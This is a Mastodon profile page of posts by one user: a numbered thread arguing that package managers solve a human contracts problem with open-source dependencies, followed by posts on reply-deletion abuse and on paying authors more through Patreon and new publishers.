Notices by Gaëtan Perrault (gatesvp@mstdn.ca)

@functionalscript @nzakas

How do you think Content Addressable Storage fixes the contracts problem?

@functionalscript @nzakas

"As soon as the source code is merged to the main branch, it should be considered published."

The reason this doesn't work is that people who write these open source libraries don't actually provide that guarantee. Often they don't want code to work this way.

If I'm building an open source library, sometimes I need to make a backwards breaking change and sometimes I need to make a security fix on an old version. I can't do both with a single 'main' branch .../4

@functionalscript @nzakas

Now you're not referencing main/HEAD, but you also know exactly what you're getting. Build system can cache those values.

• You get to control the upgrade cycle for your dependencies
• You can roll back these upgrades
• You get an auditable trail of what's in Production
• You can run verification tools to ensure that the versions you use meet your security standards

Other people's repos don't come with warranties, so you need to build your own assurances... /3

@functionalscript @nzakas

... But 99.9% of software companies don't have this quality of tooling. They don't have this confidence in deploys. They don't have the resources to "internal fork" every dependency they need and they're not paying most of these public projects they use.

So they need to make some concessions.

The first concession is typically "shrink wrapping" of dependencies. You declare the version of your dependencies and the build system pulls in a consistent version of those /2

@functionalscript @nzakas

Here's the thing, Google didn't solve the problem. Google didn't need to solve the problem because their code didn't actually reference public GitHub. Everything they referenced was basically internal or forked external.

They could do this because they have an amazing CI/CD pipeline. If somebody updated HEAD on the internal reference, the DevOps/SRE could confidently redeploy all dependent services. They would get alerts and automated rollbacks for failures ... /1

@functionalscript @nzakas

Google was able to pin directly to main because they had very strong internal contracts with all of the code they used.

The vast majority of companies do not have these contracts in place. They leverage OSS code that they're not paying for. For which there is no explicit contract.

As this post highlights: "I am not your supplier".

Package Managers help regulate these contracts by at least providing you with a consistent copy of code../7

@functionalscript @nzakas

Then you have a Leftpad incident and Supply Chain attack.

So you start caching external repos and their dependencies. Then you start building them and running their tests and trying to keep them up to date...

And then, 🪄, you've basically reverse built a package manager. It's the only way to get the contracts you need from the code you use.

And that notion of contracts is with underpins all of this... /6

@functionalscript @nzakas

So at a minimum I end up with git several branches that are tagged with a specific version.

But if I'm like most open source libraries, I end up using other libraries that also have the same versioning challenges (backwards breaks, security patches)... So now I need to point my code at their specific branches.

And at this point, you basically have packaging, except you're scouring the internet on every build loading everyone's dependencies... /5

@functionalscript @nzakas

They also tend to act as "trust middlemen" by maintaining relationships with top developers. And providing tooling to help manage quality and standardize things like versioning or lifecycle management or security checking.

I know package management feels like a technical failing. In some ways it is.

But package managers are not trying to fix a purely technical problem. They're also trying to fix this very human problem of contracts. //

@functionalscript @nzakas this was the model Go used at inception. It worked totally fine within the confines of Google and it failed to meet business needs outside of that space.

Businesses were not in a position to manage this "direct code" dependency system without the resources that Google had.

The Go designers actually recognized this and let the community lead the development of features for a package manager.

It's not that your opinion is "unpopular". It was tried, but didn't work out.

@evan The challenge with this is that it can also be used by bad actors. Let us assume that we roll out the feature you have requested.

I am a bad actor spreading disinformation. You reply with a link to the corrected information. I delete your reply therefore ensuring that nobody who follows me can have their bubble pierced.

Better yet, I can reply to you and then Block some relevant replies. Leaving only enough to make you look like a bad actor.

And there's not a good audit trail for this.

So the Gutenberg project just released a book about the Abolition of Patents and Copyright...Dated 1869... Over 150 years ago... And now accessible in the public domain thanks to the Archive people.

I've only started reading, but this seems like fertile ground for choice quotes in future @pluralistic articles.

@vaurora "Paying writers more" basically means "spending more money on the books we already buy".

I give credit to Patreon for being a vehicle to basically do this. For the people I back, this monthly source of income basically gets them to the next book, the next album, the next thing

Patreon isn't perfect, but it's having a very real effect. And I haven't figured out a better way to get money directly to artists

@vaurora I agree that we need a new breed of publishers, but we probably also need a new breed of publisher funding.

People still want to pay big publisher prices for little publisher creations and it's really squeezing little pubs. Very few people are offering higher prices for books, which means the publishers are squeezed and those support teams are the first to go.

I back a lot of artists on kickstarter and patreon. A lot. This funding is a recurring theme... /1

@vaurora we definitely need to give artists a new breed of publisher. But new publishers won't fix a "lack of money" problem.

We're going to need to start paying more money for our favorite authors to keep writing.

Hopefully, our new publishers can fill in that funding gap. But we've probably been getting too many books for too little money. We've definitely seen this in the music industry for the last decade. //